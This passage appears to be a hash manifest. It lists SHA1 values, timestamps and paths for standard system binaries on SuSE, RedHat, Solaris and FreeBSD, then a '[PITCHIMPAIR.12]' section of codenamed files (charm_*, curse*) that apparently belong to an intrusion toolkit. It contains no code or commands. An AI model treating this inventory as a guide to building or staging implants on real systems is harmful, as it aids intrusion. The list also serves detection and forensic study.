19:43:50 2007 /bin/su [SuSE 10.3 x86_64] +642FC1770A5AF3CC5FB0313BF4F00B377D59A5FD Fri Sep 21 19:43:50 2007 /bin/rm [SuSE 10.3 x86_64] +A4397EC9FF56B5362408E432CBDC7912960FD5B1 Fri Sep 21 19:43:50 2007 /bin/ls [SuSE 10.3 x86_64] +81909C216134962322DD092947731982A242DE92 Fri Sep 21 21:06:58 2007 /bin/login [SuSE 10.3 x86_64] +51E64C45FACA5E74EDFA7D1CD5AE07C8DD5C5D43 Fri Sep 21 19:23:27 2007 /bin/sh [SuSE 10.3 x86_64] +51E64C45FACA5E74EDFA7D1CD5AE07C8DD5C5D43 Fri Sep 21 19:23:27 2007 /usr/bin/sh [SuSE 10.3 x86_64] +5419E821FD9EE9856B1B8FDD7A9AD8CED9BD3FB4 Fri Sep 21 19:27:00 2007 /usr/sbin/rcxinetd [SuSE 10.3 x86_64] + +8A00C1AC83815BB77F832D1F40CE6A29BA299D86 Wed Dec 6 15:13:36 2006 /usr/sbin/xinetd [RedHat Enterprise 5.4] +5AA74B9F7D54174006AF12C6320018D7A1DE5DFA Wed Oct 24 14:05:17 2007 /usr/bin/telnet [RedHat Enterprise 5.4] +E0438A3A32C17BAB60BB4B2F0AA54D3331409101 Fri Apr 18 09:54:11 2008 /sbin/arp [RedHat Enterprise 5.4] +4627A1DD4C38E988D84520F456823CF40B6A56C2 Fri Apr 18 09:54:11 2008 /bin/netstat [RedHat Enterprise 5.4] +26BF46A9CC3D129EBBA5E81C4FE32A844E5C037F Wed Dec 3 10:32:54 2008 /usr/bin/w [RedHat Enterprise 5.4] +EA07C645BF69A428A3EE410301109EDE94229B1B Wed Dec 3 10:32:54 2008 /bin/ps [RedHat Enterprise 5.4] +EA8DFDE42204B43AABC508B91D3150CA3222101A Tue May 19 13:50:48 2009 /usr/sbin/in.tftpd [RedHat Enterprise 5.4] +0291A3AB25836070972937B233F6F825191D8201 Fri Jul 3 11:17:55 2009 /bin/login [RedHat Enterprise 5.4] +C64443E2096EB4D728427B822DF12465C62FAEA3 Sat Jul 4 02:36:20 2009 /sbin/modinfo [RedHat Enterprise 5.4] +820B7251149D3CB720A2934963FA2D20EA1152B8 Mon Jul 13 10:21:23 2009 /bin/su [RedHat Enterprise 5.4] +8B8212BFEB1F8E86621CA30B3BFB626847C02E5D Mon Jul 13 10:21:26 2009 /bin/rm [RedHat Enterprise 5.4] +3ECAA7D3EEA46B758DFEFE216ABE7EE23DED3AAB Mon Jul 13 10:21:26 2009 /bin/ls [RedHat Enterprise 5.4] +3393449850EA8B9A8347DC1BF6575A02C53B3877 Tue Jul 14 10:31:44 2009 /usr/bin/find [RedHat Enterprise 5.4] +2A684A10C8F17707A2B20C40738AC1C53883AE04 Tue Oct 21 12:13:16 2008 /bin/sh [RedHat Enterprise 5.4] + +01090DF56E8BB6958F549016B0162F83F2DBEC5A Fri Jun 16 13:58:52 2006 /usr/bin/telnet [SuSE Enterprise 10.0 x86_64] +C2A56DBC77E2366D4CA8B4253631D6087FE674B8 Fri Jun 16 14:16:11 2006 /usr/sbin/xinetd [SuSE Enterprise 10.0 x86_64] +0250A33BD46C74203072903427509730E86C290F Fri Jun 16 14:25:39 2006 /usr/bin/find [SuSE Enterprise 10.0 x86_64] +2DF0378E19ADD530EA0EC2C63C595B3E8F74DE56 Fri Jun 16 14:27:12 2006 /usr/bin/opieftpd [SuSE Enterprise 10.0 x86_64] +7562669FC11732D72145F2AA07F9BC8D00786334 Fri Jun 16 14:34:13 2006 /sbin/arp [SuSE Enterprise 10.0 x86_64] +8209995613567B78CA0CE055BB1488281D1A861C Fri Jun 16 14:34:12 2006 /bin/netstat [SuSE Enterprise 10.0 x86_64] +62A280100C1F817C1A2B77AE0D0A99A2C6DB4860 Fri Jun 16 14:37:14 2006 /usr/bin/w [SuSE Enterprise 10.0 x86_64] +C24AD2A3379460850A8B417DA9665EE0C32EC847 Fri Jun 16 14:37:14 2006 /bin/ps [SuSE Enterprise 10.0 x86_64] +C4390D7F5A0DDC0028CA90F8D8DD4BAAF11F2B8E Fri Jun 16 15:06:39 2006 /bin/su [SuSE Enterprise 10.0 x86_64] +7A43A75FAA192A4E8B40818B1BBFFE81F1C58F8E Fri Jun 16 15:06:39 2006 /bin/rm [SuSE Enterprise 10.0 x86_64] +D2987B580F54E9B907AB976D2DA870FC2569786C Fri Jun 16 15:06:39 2006 /bin/ls [SuSE Enterprise 10.0 x86_64] +EBADB96D583E82FEF8E95CFAA4F238AB9043E553 Fri Jun 16 17:49:29 2006 /sbin/modinfo [SuSE Enterprise 10.0 x86_64] +27F63D5C1893FFEE87767C3DECA49810833AC695 Fri Jun 16 18:11:07 2006 /bin/login [SuSE Enterprise 10.0 x86_64] +D3434A7FE4F90C0F1BAFEDE9B40FF0C39E02C04C Fri Jun 16 13:58:27 2006 /bin/sh [SuSE Enterprise 10.0 x86_64] +3474D7C0FE46C7C98D16A7CE975E0E2EA633478F Fri Jun 16 14:16:11 2006 /usr/sbin/rcxinetd [SuSE Enterprise 10.0 x86_64] + +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /bin/ps [Solaris 2.8 Generic_117351-53 x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /bin/w [Solaris 2.8 Generic_117351-53 x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/bin/ps [Solaris 2.8 Generic_117351-53 x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/bin/w [Solaris 2.8 Generic_117351-53 x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/ucb/ps [Solaris 2.8 Generic_117351-53 x86] +9C05ABE244AABF1B8775D4163ABA08583BFC04F3 Wed Jan 5 22:27:48 2000 /usr/sbin/arp [Solaris 2.8 Generic_117351-53 x86] +6EA87DEFC1D74A3D82C20EE7B423CD1C73C91FD4 Wed Jan 5 22:27:50 2000 /usr/sbin/in.rlogind [Solaris 2.8 Generic_117351-53 x86] +1341DC9DED8776FB124F0E4F36D790475BAF9A28 Wed Jan 5 22:42:01 2000 /bin/ls [Solaris 2.8 Generic_117351-53 x86] +1341DC9DED8776FB124F0E4F36D790475BAF9A28 Wed Jan 5 22:42:01 2000 /usr/bin/ls [Solaris 2.8 Generic_117351-53 x86] +AC4A5636FE6E800668E736FC22E6A270B8924C97 Wed Jan 5 22:45:43 2000 /usr/sbin/modinfo [Solaris 2.8 Generic_117351-53 x86] +35D4FB933BCFD37F981F55339195F392CA715B1A Wed Jan 5 23:04:55 2000 /usr/bin/i86/w [Solaris 2.8 Generic_117351-53 x86] +8DD28E646113245EEC7DDB0894C60A6A0487FF1F Wed Jan 5 23:14:36 2000 /usr/ucb/ls [Solaris 2.8 Generic_117351-53 x86] +1FE034C41BC744FBE0E87E01E04BFCBF1CBE68AE Thu May 24 22:56:20 2001 /usr/sbin/in.rshd [Solaris 2.8 Generic_117351-53 x86] +257C4EAE52056277EFA60A7457F6D2411BF700D7 Tue Jul 10 17:22:52 2001 /usr/sbin/in.tftpd [Solaris 2.8 Generic_117351-53 x86] +FF0371281535915E9D38C2C35B16D417BEBD9FF4 Fri Jul 27 19:47:08 2001 /bin/find [Solaris 2.8 Generic_117351-53 x86] +FF0371281535915E9D38C2C35B16D417BEBD9FF4 Fri Jul 27 19:47:08 2001 /usr/bin/find [Solaris 2.8 Generic_117351-53 x86] +BD71D29EFAD9320C823DD1CB8C2AE08499F7084B Wed Jan 14 19:02:23 2004 /bin/netstat [Solaris 2.8 Generic_117351-53 x86] +BD71D29EFAD9320C823DD1CB8C2AE08499F7084B Wed Jan 14 19:02:23 2004 /usr/bin/netstat [Solaris 2.8 Generic_117351-53 x86] +C785B8758DAF6A5A9EABE22153879831BFBD3068 Fri Mar 25 23:09:27 2005 /usr/sbin/in.telnetd [Solaris 2.8 Generic_117351-53 x86] +04E29F3FEDB1C2304A006B036B66D8D90BC550C3 Fri Mar 25 23:09:27 2005 /bin/telnet [Solaris 2.8 Generic_117351-53 x86] +04E29F3FEDB1C2304A006B036B66D8D90BC550C3 Fri Mar 25 23:09:27 2005 /usr/bin/telnet [Solaris 2.8 Generic_117351-53 x86] +09567A528870740EAC5CA25DB701AD4CCA3CEC45 Thu Mar 9 10:19:33 2006 /sbin/sh [Solaris 2.8 Generic_117351-53 x86] +358A0E83F4C3A838E2372F667F425C898E7F664F Thu Mar 9 10:19:33 2006 /bin/sh [Solaris 2.8 Generic_117351-53 x86] +358A0E83F4C3A838E2372F667F425C898E7F664F Thu Mar 9 10:19:33 2006 /usr/bin/sh [Solaris 2.8 Generic_117351-53 x86] +0483DED9E5CAF38389F6904678F62589D3D26D99 Sun Jan 14 18:56:09 2007 /bin/rm [Solaris 2.8 Generic_117351-53 x86] +0483DED9E5CAF38389F6904678F62589D3D26D99 Sun Jan 14 18:56:09 2007 /usr/bin/rm [Solaris 2.8 Generic_117351-53 x86] +F159DD18CBB8B4E0A57AED70F1D1F5EC69FCF52D Thu Mar 22 15:44:31 2007 /usr/bin/i86/ps [Solaris 2.8 Generic_117351-53 x86] +FE90381A85C60DDE1378E6E491CF4F83B71A3DC8 Mon Jun 11 17:05:28 2007 /usr/sbin/in.ftpd [Solaris 2.8 Generic_117351-53 x86] +83A115888C544F2CDFFB424C2786E2035355FBCE Thu Sep 27 16:18:36 2007 /usr/sbin/inetd [Solaris 2.8 Generic_117351-53 x86] +2B4271E1028F56371DCE65346A981343695E44AE Mon Feb 18 19:13:46 2008 /bin/login [Solaris 2.8 Generic_117351-53 x86] +2B4271E1028F56371DCE65346A981343695E44AE Mon Feb 18 19:13:46 2008 /usr/bin/login [Solaris 2.8 Generic_117351-53 x86] +831BAB3BCD7768B4D66C385168747B4D96776C12 Mon Feb 18 19:13:46 2008 /bin/su [Solaris 2.8 Generic_117351-53 x86] +831BAB3BCD7768B4D66C385168747B4D96776C12 Mon Feb 18 19:13:46 2008 /usr/bin/su [Solaris 2.8 Generic_117351-53 x86] +831BAB3BCD7768B4D66C385168747B4D96776C12 Mon Feb 18 19:13:46 2008 /sbin/su [Solaris 2.8 Generic_117351-53 x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/ucb/w [Solaris 2.8 Generic_117351-53 x86] +04E29F3FEDB1C2304A006B036B66D8D90BC550C3 Fri Mar 25 23:09:27 2005 /usr/ucb/telnet [Solaris 2.8 Generic_117351-53 x86] +BD71D29EFAD9320C823DD1CB8C2AE08499F7084B Wed Jan 14 19:02:23 2004 /usr/ucb/netstat [Solaris 2.8 Generic_117351-53 x86] + +E48D3D7D974DE31724D2B84C29EBB7CE96262CA4 Fri Jun 6 20:36:02 2008 /usr/bin/w [SuSE 11.0 x86_64] +0B128253924CE6F0C244D6C2AF5C303CA44A97FD Fri Jun 6 20:36:02 2008 /bin/ps [SuSE 11.0 x86_64] +4B1D1786D1875FEFD55AB415FEA0147E0C8D9B9D Fri Jun 6 20:37:28 2008 /sbin/modinfo [SuSE 11.0 x86_64] +6924B226E0B8012FC63B49F1F1AA458978EE92A9 Fri Jun 6 20:44:29 2008 /usr/bin/find [SuSE 11.0 x86_64] +E62431A172A1FC464AA6A08EB4C6CD1A5494A7B2 Fri Jun 6 21:18:06 2008 /usr/sbin/xinetd [SuSE 11.0 x86_64] +4AC4F9D4BC603CE779464D85426F5ED36AF8A343 Fri Jun 6 21:40:12 2008 /usr/bin/telnet [SuSE 11.0 x86_64] +3551E877E6F5F899B9C2DD9C8C0113613984AECF Fri Jun 6 22:31:48 2008 /bin/su [SuSE 11.0 x86_64] +72CFE9CBAC9465261C6B6501A46EE43A258876F7 Fri Jun 6 22:31:48 2008 /bin/rm [SuSE 11.0 x86_64] +F9AD5D1F07217933F9463A8B7BF550205A50B80E Fri Jun 6 22:31:48 2008 /bin/ls [SuSE 11.0 x86_64] +0BCDDFBAFF95EE57AF7AB76FE287EBDE61DE3DDE Fri Jun 6 22:42:40 2008 /sbin/arp [SuSE 11.0 x86_64] +5F7BC4234B02B88599EE53F7FA6B48D9D48134B3 Fri Jun 6 22:42:40 2008 /bin/netstat [SuSE 11.0 x86_64] +43DB6A33E7B2CF4E435CED0BDCB041F6D9E0CEC7 Fri Jun 6 23:44:52 2008 /bin/login [SuSE 11.0 x86_64] +24728F24EFB5F6442E8CE9D73EB6FAF0AEC2DFC4 Fri Jun 6 21:03:48 2008 /bin/sh [SuSE 11.0 x86_64] +24728F24EFB5F6442E8CE9D73EB6FAF0AEC2DFC4 Fri Jun 6 21:03:48 2008 /usr/bin/sh [SuSE 11.0 x86_64] +BB61EAB7F3C0521A9E1E949361ED633A7FF31AB7 Fri Jun 6 21:18:06 2008 /usr/sbin/rcxinetd [SuSE 11.0 x86_64] + +CF7D0FDC62FE8273B1F235C45A1CD03E8F440502 Wed Dec 3 10:32:09 2008 /sbin/modinfo [SuSE 11.1 x86_64] +D5D2CF22B05D9179590B6E925A8A46DF62F0C7B5 Wed Dec 3 10:34:07 2008 /usr/bin/find [SuSE 11.1 x86_64] +B86CB9ACA8176D6F2157E75E1F9325904B503468 Wed Dec 3 10:41:06 2008 /sbin/arp [SuSE 11.1 x86_64] +75134169548AF6268FDEBC62685DB1A12EFC5471 Wed Dec 3 10:41:08 2008 /bin/netstat [SuSE 11.1 x86_64] +653F929CFB6DD275736B887C5D6C460D437A9650 Wed Dec 3 10:54:27 2008 /usr/bin/telnet [SuSE 11.1 x86_64] +AEF68044D1757B9E9FF3E9D7384E9703E8A5A54B Wed Dec 3 11:13:22 2008 /usr/bin/w [SuSE 11.1 x86_64] +F234252C2577725D37F95207927DE180F85DDDC8 Wed Dec 3 11:13:22 2008 /bin/ps [SuSE 11.1 x86_64] +E2E8EF34264DC112FABE4B43D9EC8CD88055FE5C Wed Dec 3 11:23:38 2008 /usr/sbin/xinetd [SuSE 11.1 x86_64] +91DE479B5DC777963993077AD28EAF188CA932EB Wed Dec 3 11:51:02 2008 /bin/login [SuSE 11.1 x86_64] +8A48A0454A1AB0B75F7ADC11BF4B9C7402EE17B0 Wed Dec 3 11:56:36 2008 /bin/su [SuSE 11.1 x86_64] +4B0FC111479E3EAA04AD959BCC4A37B2E72273D2 Wed Dec 3 11:56:35 2008 /bin/rm [SuSE 11.1 x86_64] +F73A500A96B63BC0B720C21AAC72B0C63589F03F Wed Dec 3 11:56:35 2008 /bin/ls [SuSE 11.1 x86_64] +0E5F1716E443FAAF4BA1CDC17EC1E10682A89F44 Wed Dec 3 11:13:06 2008 /bin/sh [SuSE 11.1 x86_64] +0E5F1716E443FAAF4BA1CDC17EC1E10682A89F44 Wed Dec 3 11:13:06 2008 /usr/bin/sh [SuSE 11.1 x86_64] +4F7719469820CE454672F8DDD45A5CB6A7924195 Wed Dec 3 11:23:38 2008 /usr/sbin/rcxinetd [SuSE 11.1 x86_64] + +272CD69744E0828CB9720A6F61913F6D496B59EB Sun Mar 21 05:02:40 2010 /bin/ls [FreeBSD 7.3] +5DA3804559508448E4C3485DE21BD429D2572DFC Sun Mar 21 05:02:41 2010 /bin/ps [FreeBSD 7.3] +5767D9159AD5F9CCB0D311866F44083AEBCC10E8 Sun Mar 21 05:02:41 2010 /bin/sh [FreeBSD 7.3] +7CC4A00140AB6036BACEE64DD3C051CDAE792F07 Sun Mar 21 05:02:41 2010 /bin/rm [FreeBSD 7.3] +1A7A46FFFA98B0C9A0B381868B91FFF5961B6327 Sun Mar 21 05:03:29 2010 /usr/bin/su [FreeBSD 7.3] +4D47F9C3A8926C2A73ADCBD7CC1B7FC456ABAB0A Sun Mar 21 05:03:25 2010 /usr/bin/login [FreeBSD 7.3] +330C5C280FAF14779C759E50807DD3FAC74AEE48 Sun Mar 21 05:03:28 2010 /usr/bin/netstat [FreeBSD 7.3] +53048EB4BC00230E871EDEEACE2794909883F652 Sun Mar 21 05:03:33 2010 /usr/sbin/arp [FreeBSD 7.3] +1110CBC8C04E913E2296F6B4D396F2501BD5E018 Sun Mar 21 05:03:24 2010 /usr/bin/find [FreeBSD 7.3] +ECA585651C8FB6430DE8E78467ACDC84E9A638B7 Sun Mar 21 05:03:39 2010 /usr/sbin/inetd [FreeBSD 7.3] +E3C24420DF447149DC163F7ED0927BF2D08FAEE9 Sun Mar 21 05:03:29 2010 /usr/bin/telnet [FreeBSD 7.3] +67E9F041186C694930734EB0F2194709FFFAF89D Sun Mar 21 05:03:30 2010 /usr/bin/w [FreeBSD 7.3] + +32CFD8FE4AE3CFF5B3FA53BE76ED3A41022AE37B Thu Jan 1 11:49:56 2009 /bin/ls [FreeBSD 7.1] +780797782B7C1A6BB80B0900A1E0332FDAF9AB5F Thu Jan 1 11:49:56 2009 /bin/ps [FreeBSD 7.1] +BA040E931DAE40C802028FA568445AC94AE0CFAB Thu Jan 1 11:49:57 2009 /bin/sh [FreeBSD 7.1] +ED223D72D4466BD1B33B94CA3A63105BD8529B19 Thu Jan 1 11:49:57 2009 /bin/rm [FreeBSD 7.1] +AA173253697DB9FEB6019E288462045BA9FC03DF Thu Jan 1 11:52:48 2009 /usr/bin/su [FreeBSD 7.1] +E56D05728C00CF3B50AEC8086EF5CBD40299092A Thu Jan 1 11:52:42 2009 /usr/bin/login [FreeBSD 7.1] +C563A90895800EF793B6B7A7EC350E61A339F5E1 Thu Jan 1 11:52:44 2009 /usr/bin/netstat [FreeBSD 7.1] +D576085319014C75148155F70FB606028DFF098F Thu Jan 1 11:52:58 2009 /usr/sbin/arp [FreeBSD 7.1] +310E5FF06304A4519A9B1F38C006807970B4F6E0 Thu Jan 1 11:52:35 2009 /usr/bin/find [FreeBSD 7.1] +A5EF4098F23066DC193C6230A7F273721EF174AC Thu Jan 1 11:52:49 2009 /usr/bin/telnet [FreeBSD 7.1] +70A999C3C7DC4EBAB27406127008A45473458055 Thu Jan 1 11:52:53 2009 /usr/bin/w [FreeBSD 7.1] +24A243CBE44A25897707413D54622F232257CDF7 Thu Jan 1 11:53:08 2009 /usr/sbin/inetd [FreeBSD 7.1] + +B8643FDDA580BBDBE0E701FF3F15341C6F505DF6 Thu Feb 17 02:37:54 2011 /bin/ls [FreeBSD 7.4] +C3A23721F528F33D64B3BFFE6881DB2C2DDFD890 Thu Feb 17 02:37:54 2011 /bin/ps [FreeBSD 7.4] +88FC0BA58AD1399F9EC1E435966A39DE00241F65 Thu Feb 17 02:37:55 2011 /bin/sh [FreeBSD 7.4] +6EB4E8D03AFB51060D179683B75306367839CF35 Thu Feb 17 02:37:55 2011 /bin/rm [FreeBSD 7.4] +63B69241ED8E02A5DA160726431705E1D41D30D9 Thu Feb 17 02:38:36 2011 /usr/bin/su [FreeBSD 7.4] +63AC3BF4EDC88662A7C3B3E8B32AE34CC7ED59DE Thu Feb 17 02:38:33 2011 /usr/bin/login [FreeBSD 7.4] +EB5AEB74BF68E4BD37B9A9B708B917233EA8B6FC Thu Feb 17 02:38:34 2011 /usr/bin/netstat [FreeBSD 7.4] +DAA8D851B4C61CBFD544006A99E60EF101EE4DC4 Thu Feb 17 02:38:39 2011 /usr/sbin/arp [FreeBSD 7.4] +8A3B255F2705D662A01F74AE9D50775F72CB283F Thu Feb 17 02:38:32 2011 /usr/bin/find [FreeBSD 7.4] +03FF49B4AA5346D1AB371880085440E723AE595C Thu Feb 17 02:38:42 2011 /usr/sbin/inetd [FreeBSD 7.4] +25524165C4ED5EB20FB1AD453D961FEBA23C90FD Thu Feb 17 02:38:36 2011 /usr/bin/telnet [FreeBSD 7.4] +1D36CAD9DD58A3F5A3D318147E6727DE9EA29853 Thu Feb 17 02:38:37 2011 /usr/bin/w [FreeBSD 7.4] + +6F046C57CE438EC9ECD0AC20A65AFDC74BDF5D15 Sun Feb 24 17:50:52 2008 /bin/ls [FreeBSD 7.0] +DD93990E10061546041B98BF3C461D5B27CFBFBE Sun Feb 24 17:50:52 2008 /bin/ps [FreeBSD 7.0] +CB2DC7DEB25B5F5D25AF27A3E78D5EB0A1367E6C Sun Feb 24 17:50:53 2008 /bin/sh [FreeBSD 7.0] +7DD7380E9640E1D9AC6DDBF60B1F7E2C327109E9 Sun Feb 24 17:50:53 2008 /bin/rm [FreeBSD 7.0] +490AD5620DEA0095941D762D6D82C5EF644BF2B8 Sun Feb 24 17:52:46 2008 /usr/bin/su [FreeBSD 7.0] +2B7FA30B335E546FE0E4152087651E23F0054D42 Sun Feb 24 17:52:42 2008 /usr/bin/login [FreeBSD 7.0] +5A066814CC7CC9DC273E5C725B0A35B98CE8DF0F Sun Feb 24 17:52:44 2008 /usr/bin/netstat [FreeBSD 7.0] +1243E1452B209497E60E08B1C90305FC3AD79D6B Sun Feb 24 17:52:54 2008 /usr/sbin/arp [FreeBSD 7.0] +029EF64D492E89BA18AD03F227E0DD9E2F9E52F0 Sun Feb 24 17:52:37 2008 /usr/bin/find [FreeBSD 7.0] +15B174CE4031A11E0599282F462501C5646A7796 Sun Feb 24 17:52:47 2008 /usr/bin/telnet [FreeBSD 7.0] +7496E5578A27104DC5F64CA74719777350DC97A5 Sun Feb 24 17:52:49 2008 /usr/bin/w [FreeBSD 7.0] +2B68CADDE09B6225C6FDBBE2DB22C13AAC48FBD3 Sun Feb 24 17:53:02 2008 /usr/sbin/inetd [FreeBSD 7.0] + +90DD9EEE33EF7D32920A8C179E020862D6DD9721 Thu Oct 6 23:17:26 2011 [FW.zip busybox] busybox + +B582EBF715118F73AB3D047A34B3B43FF7DC6D2E Fri Apr 24 12:05:18 2009 [PITCHIMPAIR.12] charm_fiesta.hp-uxb.11.00_v.1.1.0.7 +AD1E131CFC08DA5F448B6DF7D61711D9D1FFFDDC Tue May 6 18:00:55 2008 [PITCHIMPAIR.12] charm_hydrant.v1.0.0.1.sunos5.9_v.solaris_8 +AD1E131CFC08DA5F448B6DF7D61711D9D1FFFDDC Tue May 6 18:00:55 2008 [PITCHIMPAIR.12] charm_hydrant.v1.0.0.1.sunos5.9_v.solaris_9 +22D930E5612B6EDA2700B5269FE5F54D319AA068 Tue Jul 22 19:56:41 2008 [PITCHIMPAIR.12] charm_penguin.sunos5.10_v.1.0.0.6 +64BE0F869F25199A1F0E42C4B3DC3B890898AD2F Thu Mar 10 19:57:44 2011 [PITCHIMPAIR.12] charm_penguin.sunos5.8_v.2.0.0.1 +3DB22E768BD206D98A238F2A7ECA1A808B008E3F Fri Jul 10 17:34:06 2009 [PITCHIMPAIR.12] charm_razor.linux2.6.5-7.97-smp_v.1.1.0.3 +055245170D813DA026D59630623EE13136143E6F Fri Jan 29 14:47:24 2010 [PITCHIMPAIR.12] charm_razor.linuxsuse9.0_v.1.2.0.2 +F76FEB529CB68871E1B0CB5D813C8CFAC538F0DE Fri Jan 29 14:47:24 2010 [PITCHIMPAIR.12] charm_razor.sunos5.8_v.1.2.0.2 +223EAC43A8C30ED3C59DDB8B43C5440016E8F5DC Fri Jul 10 17:34:06 2009 [PITCHIMPAIR.12] charm_razor.sunos5.9_v.1.1.0.3 +745A652564161CDD09BE5FB188D37F7029F6A167 Tue Jun 15 18:03:05 2010 [PITCHIMPAIR.12] charm_razor.win2k_v.2.0.0.1 +44A5E77FC31C9104C1EEE3CAB47D5D6B54EA8E84 Fri Oct 17 13:48:49 2008 [PITCHIMPAIR.12] charm_saver.hp-uxb.11.11_v.1.0.0.1 +9B1608CD4BFCD8D6970187589AE999E0829C81B7 Thu Jun 3 16:19:31 2010 [PITCHIMPAIR.12] charm_saver.hpux11.00_v.2.0.0.2 +AA7D6B77B5C000314C856431883DF2B0D12EC046 Tue May 4 17:01:58 2010 [PITCHIMPAIR.12] charm_saver.win2k_v.2.0.0.2 +D1BB7A0F6EC97C31450251C83879CABCDC071F23 Wed Dec 17 16:05:14 2008 [PITCHIMPAIR.12] charm_uno.sunos5.9_v.1.1.0.4 +40CC8C09636384EA5F88E97BAAAFF7E09B42EC02 Thu Apr 24 19:02:39 2008 [PITCHIMPAIR.12] charm_uno.v1.0.0.8.sunos5.9_v.solaris_9 +AE9EF603C60BFE913764BAFE5D6268035A2DF7ED Fri Oct 1 17:26:44 2010 [PITCHIMPAIR.12] charm_uno.v2.0.0.3.linuxrh7.3_v.linux +7037E6F1D3F387691BC584FFF6CEAEDAC6244F9A Wed Oct 6 17:45:58 2010 [PITCHIMPAIR.12] charm_uno.v2.0.0.4.sunos5.8_v.solaris +5CC8C3587040C40C263C9B5199F716A3CE443DB1 Mon Sep 28 14:40:11 2009 [PITCHIMPAIR.12] charm_vortex.sunos5.8_v.1.0.0.2 +750BBC158C7DB265225A5269677EAD5D04263513 Thu Jan 21 17:55:26 2010 [PITCHIMPAIR.12] charm_vortex.sunos5.8_v.1.0.1.2 +CCDEAB6DCCCB2BC0F5FBBB17FE989C7179E76745 Thu Mar 6 17:40:19 2008 [PITCHIMPAIR.12] cursebingo.sunos5.10_v.1.0.1.2 +B18A53F08C39EBC0D222D7B2BABCE09F63C57D73 Mon Mar 15 15:02:26 2010 [PITCHIMPAIR.12] cursebingo.v2.0.0.3.sunos5.8_v.solaris +B5652F2E11129D51FFAB3F6F9BC188B3226BAEB0 Thu Mar 6 21:06:19 2008 [PITCHIMPAIR.12] cursebongo.sunos5.10_v.1.0.0.4 +066C9ED5D6E3498A43CAF705945DE78AA723C206 Tue Jun 23 18:52:29 2009 [PITCHIMPAIR.12] cursebongo.sunos5.8_v.1.1.0.1 +908A7347F0622960E8225BF3206636111CBE0AED Mon May 3 12:23:09 2010 [PITCHIMPAIR.12] cursebongo.sunos5.8_v.2.0.0.1 +95C2D8C5354AD0BB09796E80F846115168262B86 Mon Nov 3 15:29:43 2008 [PITCHIMPAIR.12] cursechicken.sunos5.8_v.1.0.0.1 +43AB277B3629507710FD1269C91ABB8E74CCA969 Fri Apr 24 16:39:03 2009 [PITCHIMPAIR.12] cursechicken.sunos5.8_v.1.0.1.4 +4635E05651DBCD3F2EDA4A174D7C33F01DE1C9C3 Wed Jun 15 12:34:23 2011 [PITCHIMPAIR.12] cursedevo.sunos5.8_v.1.0.0.3 +DCD5465C9327A0AFE309A116AB428B6EA95B60FE Tue Aug 11 16:33:15 2009 [PITCHIMPAIR.12] curseflower.mswin32_v.1.0.0.3 +91ACE7E5E2073367D810C933E10ABF35432094F7 Fri Feb 11 18:12:46 2011 [PITCHIMPAIR.12] cursegismo.hpux11.00_v.2.1.0.1 +3DE069D24A523C10A1F2CF6E53DB86DE4878CA40 Wed Jan 27 16:34:35 2010 [PITCHIMPAIR.12] cursegismo.hpuxb.11.00_v.2.0.0.2 +84B2DDBE9ECACCA5E786079C314AB1F0C935A401 Wed Jan 27 16:34:35 2010 [PITCHIMPAIR.12] cursegismo.linuxrh7.3_v.2.0.0.2 +CAB5155EF63DC824DE53568A639735310C35EF22 Fri Feb 11 18:12:46 2011 [PITCHIMPAIR.12] cursegismo.linuxrh7.3_v.2.1.0.1 +133041F8A5206116CF4A14883BC93DD53641C00B Mon Apr 12 14:30:21 2010 [PITCHIMPAIR.12] cursegismo.sunos5.8.i386_v.2.0.0.5 +7B73F0EB39A434DAB80BE1F5240AAA8ED3499C28 Fri Feb 11 18:12:46 2011 [PITCHIMPAIR.12] cursegismo.sunos5.8.i386_v.2.1.0.1 +84290FB4E490182FACC517561544226C6FA89465 Mon Jun 11 20:01:36 2007 [PITCHIMPAIR.12] cursegismo.sunos5.8_v.1.1.0.4 +5155C50365264F0325A4E585A01F890E6A4695DB Wed Sep 19 12:22:03 2007 [PITCHIMPAIR.12] cursegismo.sunos5.8_v.1.1.1.1 +F9DB4E9BB875AE22951B74A8A727E30C531B31C1 Wed Oct 22 18:15:34 2008 [PITCHIMPAIR.12] cursegismo.sunos5.8_v.1.2.0.2 +90B50B531E0DB2DFDF885F23E531973B1C85DF24 Wed Jan 27 16:34:35 2010 [PITCHIMPAIR.12] cursegismo.sunos5.8_v.2.0.0.2 +78DA2E62CD6A53B75A38A41DC65950BA10828D87 Fri Feb 11 18:12:46 2011 [PITCHIMPAIR.12] cursegismo.sunos5.8_v.2.1.0.1 +54142A2EBEB9490336E2158C46BAF2ACC75238C7 Wed Sep 19 12:22:35 2007 [PITCHIMPAIR.12] cursegismo.sunos5.9_v.1.1.1.1 +A95C3632C0AF9F491658F8749DB7FDA243B8FA92 Thu Apr 9 15:32:28 2009 [PITCHIMPAIR.12] cursehappy.hp-uxb.11.00_v.5.0.0.5 +96CE881EA4546F46961475A9D6B0BF40D1B7BE31 Mon Mar 1 16:56:59 2010 [PITCHIMPAIR.12] cursehappy.hp-uxb.11.00_v.6.0.0.1 +0D579EFC002622BC2D639FB8E5DFFA1E45A5BE51 Wed Jan 2 21:29:34 2008 [PITCHIMPAIR.12] cursehappy.hp-uxb.11.11_v.4.1.2.4 +EDA9AD9BE6CCBCCCDD96EEEADF2E744E4297A5C0 Thu Aug 19 19:52:11 2010 [PITCHIMPAIR.12] cursehappy.hpux11.00_v.6.1.0.1 +D83037BC4E025BABA874E5BBA4079C4205B9B264 Thu Aug 19 19:52:11 2010 [PITCHIMPAIR.12] cursehappy.linuxrh7.3_v.6.1.0.1 +2C3C96D3AEBDE479FC5147F8DCF00625FD78024E Thu Apr 9 15:32:40 2009 [PITCHIMPAIR.12] cursehappy.mswin32_v.5.0.0.5 +D0E3E98DA05D29FB9802291E744EF1667582D756 Mon Mar 1 16:56:59 2010 [PITCHIMPAIR.12] cursehappy.rhl7.3_v.6.0.0.1 +CFDA3B122E8599C57B3F8B632324E43427536012 Thu Apr 9 15:32:51 2009 [PITCHIMPAIR.12] cursehappy.sunos5.8_v.5.0.0.5 +16C7C11BD8C70F333F16341ABA0DB2BAAD0904FC Mon Mar 1 